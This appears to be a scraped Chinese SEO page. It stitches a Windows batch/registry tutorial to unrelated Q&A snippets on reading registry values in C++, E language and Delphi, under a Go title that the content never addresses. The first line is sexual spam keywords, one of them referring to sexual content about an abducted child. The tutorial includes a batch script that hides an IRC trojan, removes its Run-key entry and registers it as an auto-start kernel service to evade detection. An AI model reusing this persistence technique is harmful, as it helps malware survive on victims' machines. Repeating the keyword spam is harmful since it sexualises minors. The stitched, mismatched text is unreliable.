bl双性强迫侵犯h_国产在线观看人成激情视频_蜜芽188_被诱拐的少孩全彩啪啪漫画

go語言注冊表讀取值 go 注冊表

批處理操作注冊表完全攻略(讀取注冊表/寫入注冊表等)

一,批處理生成.Reg文件操作注冊表

創新互聯建站-專業網站定制、快速模板網站建設、高性價比扎魯特旗網站開發、企業建站全套包干低至880元,成熟完善的模板庫,直接使用。一站式扎魯特旗網站制作公司更省心,省錢,快速模板網站建設找我們,業務覆蓋扎魯特旗地區。費用合理售后完善,10年實體公司更值得信賴。

用批處理中的重定向符號可以輕松地生成.reg文件。然后用命令執行.reg文件即可!

這里,著重要了解.reg文件操作注冊表的方法。

首先.reg文件首行必須是:Windows

Registry

Editor

Version

5.00。然后才是操作注冊表的內容。

(就和從注冊表中導出的文件格式一致)

1,創建子項

Windows

Registry

Editor

Version

5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

在HKEY_LOCAL_MACHINE\SOFTWARE\下創建了一個名字為“TTT”的子項。

2,創建一個項目名稱

復制代碼

代碼如下:

Windows

Registry

Editor

Version

5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

"Name"="TTT

BLOG"

"EMail"="taoether@gmail.com"

"URL"=""

"Type"=dword:02

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、

URL、Type這四個項目

Name、Email、URL的類型是“String

Value”

Type的類型是“DWORD

Value”

(附:windows注冊表值類型:

REG_SZ

字符串值

REG_BINARY

二進制值

REG_DWORD

DWORD值

REG_MULTI_SZ

多字符串值

REG_EXPAND_SZ

可擴充字符串值)

3,修改鍵值

修改相對來說比較簡單,只要把你需要修改的項目導出,然后用記事本進行修改,然后導入(regedit

/s)即可。就象新建一樣即可。可以一次修改同一子項下的多個項目。

4,刪除項目名稱

復制代碼

代碼如下:

Windows

Registry

Editor

Version

5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

"EMail"=-

執行該腳本,"EMail"就被刪除了;

5,刪除子項

復制代碼

代碼如下:

Windows

Registry

Editor

Version

5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

[-HKEY_LOCAL_MACHINE\SOFTWARE\DDD]

執行該腳本,子項ttt和ddd就已經被刪除了。

6,.reg文件執行方法

1)直接執行reg文件

2)regedit

/s

*.reg

(/s不用確認)

3)reg

import

*.reg

7,其實,我們也可以用dll文件代替reg文件。

批處理例1:

復制代碼

代碼如下:

@echo

off

echo

Windows

Registry

Editor

Version

5.00

t1.reg

echo.

echo

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

t1.reg

echo

"Name"="TTT

BLOG"

t1.reg

echo

"EMail"="taoether@gmail.com"

t1.reg

echo

"URL"=""

t1.reg

echo

"Type"=dword:02

t1.reg

regedit

/s

t1.reg

del

/q

t1.reg

pause

批處理2:(這個例子是別人的,不是很懂的說~~)

我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\

Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟

動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例

(名為windrv32.exe)

復制代碼

代碼如下:

@start

windrv32.exe

@attrib

+h

+r

windrv32.exe

@echo

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

patch.dll

@echo

"windsnx

"=-

patch.dll

@sc.exe

create

Windriversrv

type=

kernel

start=

auto

displayname=

WindowsDriver

binpath=

c:\winnt\system32\windrv32.exe

@regedit

/s

patch.dll

@delete

patch.dll

@REM

[刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀,并config為自啟動]

@REM

這樣不是更安全^_^.

二,reg命令操作注冊表

Reg命令是Windows提供的一下專門操作注冊表的工具。可以方便的查詢,添加,刪除,導入,導出,比較等操作。具體可以參考系統自帶的幫助……

REG

Operation

[參數列表]

Operation

[

QUERY

|

ADD

|

DELETE

|

COPY

|

SAVE

|

LOAD

|

UNLOAD

|

RESTORE

|

COMPARE

|

EXPORT

|

IMPORT

]

1,查詢所有子項和值

D:\reg

query

hklm\software\TTT

!

REG.EXE

VERSION

3.0

HKEY_LOCAL_MACHINE\software\TTT

Name

REG_SZ

TTT

BLOG

EMail

REG_SZ

taoether@gmail.com

URL

REG_SZ

Type

REG_DWORD

0x2

2,查詢特定項

D:\reg

query

hklm\software\ttt

/v

url

!

REG.EXE

VERSION

3.0

HKEY_LOCAL_MACHINE\software\ttt

url

REG_SZ

這里最難的是如何取得我們想要的字符串呢,困惑了好長時間,終于找到方法了。

原來也沒有別的好辦法,只能用find,for循環來截取我們需要的內容。(下面的例子如果看不懂,請參考本博客另外的文章:DOS循環-bat/批處理for命令詳解之二)

例如我們要得到url的鍵值:

,可以用以下腳本:

復制代碼

代碼如下:

@ECHO

OFF

for

/f

"tokens=1,2,3,4,*"

%%i

in

('reg

query

"HKEY_LOCAL_MACHINE\software\ttt"

^|

find

/i

"URL"')

do

SET

"pURL=%%k"

echo

TTT

BLOG的URL值為:%pURL%

保存為Test.bat,運行結果如下:

D:\test.bat

TTT

BLOG的URL值為:

不行了,家里的電腦不知為啥,在命令行中一運行“REG”命令(包括reg

/?),CPU就占用100%,看任務管理器,CMD占用百分之八十多,不知道為啥……

運行其他的命令就沒有問題,包括regedit

/s……

查了一下,網上有說是中了木馬的原因,但查了一下,也不象。既沒有找到相關文件,而且運行其它的命令時,沒有問題……

先不搞了,正好手頭有個REG命令詳解,等會整理一下!

因為查毒,用自己做的Clear.bat清理了一下C盤,居然清理出1個G的空間來,原來只剩幾百兆了……windows的垃圾真是多啊~~不要忘了經常清理一下啊!

再發布兩個做好的批處理文件,可以自動監控OutLook

Express,有需要的可以點擊下載……

1,OEMonitorCount.bat 功能:可以重設注冊表中OE打開次數,避免超過100次時提示壓縮

2,OEMonitorSize.bat 功能:可以監控Outlook

Express郵件文件(*.dbx)大小,當大于指定大小時,生成報警日志。

這兩個文件,可以加到啟動組里,每次開機自動運行!

搞這兩個主要是為了解決公司經常出現的一些問題:

1)經常有人的郵件文件超過幾個G;

2)有時而且根據提示壓縮后,可能出現郵件丟失。

剛發現,下載后的文件又加了“htm"的后綴,請去掉此后綴再使用!

另外下載時,請使用下面的鏈接,如:千腦電信高速下載地址、千腦網通高速下載地址。上面的VIP鏈接是專供千腦用戶使用的~~

易語言怎樣讀取注冊表里的注冊項?

調用格式:

〈字節集〉

取字節集注冊項

(整數型

根目錄,文本型

全路徑注冊項名,〔字節集

默認字節集〕)

-

系統核心支持庫-系統處理

英文名稱:GetBinRegItem

Windows

注冊表中返回指定的字節集類型注冊表項值。如欲讀取注冊項默認值,請在項目名后加“\”號,如“test\”。與“取字節集注冊表項”命令不同的是本命令可以取任意位置處的注冊表項。本命令為中級命令。

參數1的名稱為“根目錄”,類型為“整數型(int)”。可以為以下常量值之一:

1、#根類;

2、#現行設置;

3、#現行用戶;

4、#本地機器;

5、#所有用戶。

參數2的名稱為“全路徑注冊項名”,類型為“文本型(text)”。

參數3的名稱為“默認字節集”,類型為“字節集(bin)”,可以被省略。如果指定的注冊表項不存在,將返回此默認字節集。如果指定的注冊表項不存在且本參數被省略,將返回空字節集。

操作系統需求:

Windows

讀取之后與你認為的正確的值進行比較就可以了。

C++怎么讀取注冊表的值?

#include windows.h

#include iostream

using namespace std;

int main()

{

HKEY hOpen;

char key[255] = "SOFTWARE\\Microsoft\\Internet Explorer\\URL Compatibility";

char name[10] = "Version";

char buf[255];

DWORD size;

if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ, hOpen))

{

RegQueryValueEx(hOpen, name, NULL, NULL, (BYTE*)buf, size);

cout buf endl;

}

RegCloseKey(hOpen);

Sleep(3000);

return 0;

}

如何正確讀取注冊表DWROD值

如果你實現知道你要讀去的鍵值的話,可以使用RegQueryValueEx函數。

我做的是字串讀出的

可以參考一下:

LPBYTE owner_get=new BYTE[80];

DWORD type=REG_SZ;

DWORD cbData=80;

DWORD lReturn ;

//獲取 子項 的 參數

::RegQueryValueEx(hKey,_T(""),NULL,type,owner_get,cbData);

還有就是記得在使用之后將注冊表關閉

::RegCloseKey(hKey);

請大家幫忙:怎么才能讀取注冊表中某一個鍵下的所有選項呢。謝謝拉

從注冊表關鍵字中讀出相關的數據值 在Tregistry類中還提供了與Write方法相對應用的用來讀出與當前關鍵字相關的數據值。常用方法的原型定義如下: founction ReadString(const Name : string) : string; founction ReadInteger(const Name : string) : Integer; founction ReadFloat(const Name : string) : Double; founction ReadTime(const Name : string) : TdateTime; founction ReadBool(const Name) : Boolean; 示例程序如下: procedure TForm1.Button1Click(Sender: TObject); var MyReg : TRegistry; begin MyReg := TRegistry.Create; MyReg.RootKey := HKEY_LOCAL_MACHINE; try if not MyReg.OpenKey('SOFTWARE',FALSE) then ; if not MyReg.KeyExists('Passwd') then ; if not MyReg.OpenKey('SOFTWAREPasswd',FALSE) then ; Label1.Caption := MyReg.ReadString('pwd1'); Label2.Caption := IntToStr(MyReg.ReadInteger('pd2')); MyReg.CloseKey; finally MyReg.Free; end; end; 查看原帖

c語言讀取注冊表健值怎么讀取

c++讀取windows注冊表信息的方法為:

以下是示例代碼:

GetStringRegKey(hKey, L"BinDir", strValueOfBinDir, L"bad");

GetStringRegKey(hKey, L"", strKeyDefaultValue, L"bad");

LONG GetDWORDRegKey(HKEY hKey, const std::wstring strValueName, DWORD nValue, DWORD nDefaultValue)

{

nValue = nDefaultValue;

DWORD dwBufferSize(sizeof(DWORD));

DWORD nResult(0);

LONG nError = ::RegQueryValueExW(hKey,

strValueName.c_str(),

0,

NULL,

reinterpret_castLPBYTE(nResult),

dwBufferSize);

if (ERROR_SUCCESS == nError)

{

nValue = nResult;

}

return nError;

}

LONG GetBoolRegKey(HKEY hKey, const std::wstring strValueName, bool bValue, bool bDefaultValue)

{

DWORD nDefValue((bDefaultValue) ? 1 : 0);

DWORD nResult(nDefValue);

LONG nError = GetDWORDRegKey(hKey, strValueName.c_str(), nResult, nDefValue);

if (ERROR_SUCCESS == nError)

{

bValue = (nResult != 0) ? true : false;

}

return nError;

}

LONG GetStringRegKey(HKEY hKey, const std::wstring strValueName, std::wstring strValue, const std::wstring strDefaultValue)

{

strValue = strDefaultValue;

WCHAR szBuffer[512];

DWORD dwBufferSize = sizeof(szBuffer);

ULONG nError;

nError = RegQueryValueExW(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, dwBufferSize);

if (ERROR_SUCCESS == nError)

{

strValue = szBuffer;

}

return nError;

}

文章標題:go語言注冊表讀取值 go 注冊表
本文地址:http://vcdvsql.cn/article34/doodgpe.html

成都網站建設公司_創新互聯,為您提供移動網站建設虛擬主機網站維護、網頁設計公司品牌網站設計用戶體驗

廣告

聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯

成都seo排名網站優化